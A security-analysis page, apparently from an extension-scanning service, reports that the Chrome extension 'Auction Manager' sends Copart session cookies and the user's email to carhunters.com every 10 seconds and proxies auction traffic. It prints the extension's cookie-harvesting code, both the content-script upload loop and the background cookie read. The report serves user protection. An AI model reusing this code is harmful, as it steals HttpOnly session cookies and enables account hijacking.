Is Auction Manager safe?

Medium risk

Auction Manager sends your Copart session cookies to carhunters.com every 10 seconds and proxies auction traffic.

While you are signed in to the extension and browsing copart.com, a content script asks the background worker for all cookies on the active tab, including HttpOnly session cookies, and posts them every 10 seconds to a carhunters.com backend. The extension also sets a proxy that routes Copart and IAAI traffic through geo.iproyal.com using hardcoded credentials, which lets the proxy see the hosts you connect to.

Car Huntersv1.0.5Chrome Web Store
53Risk
Who publishes it

Car Hunters - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Car Hunters
Website
www.carhunters.com/

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Copart tab cookies are sent to carhunters.com every 10 seconds

Code analysis shows a Copart content script requests every cookie for the active tab, including HttpOnly ones, and posts them with your account email to www.carhunters.com:31000 every 10 seconds while signed in.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You browse copart.com while signed in to the extension.

The upload only runs when a bearer token and account record are stored.

The extension did this

The extension sends all cookies for the tab, with your account email, to www.carhunters.com:31000 every 10 seconds.

Cookies are read in the background worker, so HttpOnly session cookies are included.

Fields in the setCookie request body
  • Cookie string
    sessionid=<redacted>; visitor=<redacted>; ...

    Every cookie for the page, including HttpOnly session cookies, joined as name=value pairs.

  • Account email
    user@example.com (illustrative)

    The email of the extension account the cookies are tied to.

  • Site type
    copart

    Marks which auction site the cookies came from.

  • Bearer token
    Bearer <redacted>

    Extension login token sent in the Authorization header.

The code that does this

Cookie request loop and background cookie read

Readable version

Content script timer and upload

js/copart/index.js
const intervalInvoice = setInterval(() => {  chrome.runtime.sendMessage({ action: "getCookies" }, async function (response) {    const cookieStrings = response.cookies.map(cookie => `${cookie.name}=${cookie.value}`);    const cookieString = cookieStrings.join('; ');    const { token } = await getToken();    const accounts = await getAccounts();    if (token && accounts) {      const url = `${baseUrl}/user/setCookie`;      const dataCookie = { cookie: cookieString, email: accounts.email, type: "copart" };      const response = await fetchRequestPost(url, dataCookie, headersCookie);    }  });}, 10000);

Background handler

js/background.js
if (request.action === "getCookies") {  chrome.tabs.query({ active: true, currentWindow: true }, function (tabs) {    chrome.cookies.getAll({ url: tabs[0].url }, function (cookies) {      sendResponse({ cookies });    });  });  return true;}
Where the cookies go
    • www.carhunters.com

    Extension vendor backend on port 31000; receives the cookie string via /api/user/setCookie.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.0.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on copart.com

    *://*.copart.com/*

  • Read and change your data on manheim.com

    *://*.manheim.com/*

  • Read and change your data on iaai.com

    *://*.iaai.com/*

  • Read and change your data on localhost:4000

    http://localhost:4000/*

  • Route all of your browsing through a server of its choosing

    proxy

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Watch every request your browser makes

    webRequest

  • See the address and title of every tab you have open

    tabs

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • See, disable and uninstall your other extensions, including your security ones

    management

  • Keep running in the background while your browser is open

    background

webRequestAuthProviderdeclarativeNetRequestWithHostAccess

Where it sends data

Destinations our analysis observed Auction Manager contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • geo.iproyal.com

    Auction Manager sends data to geo.iproyal.com. No other extension we have analysed sends data here.

  • www.carhunters.com

    Auction Manager sends data to www.carhunters.com. No other extension we have analysed sends data here.

Updated 15 October 2026lkpngkoofglalpjehjejgjbcofjikdke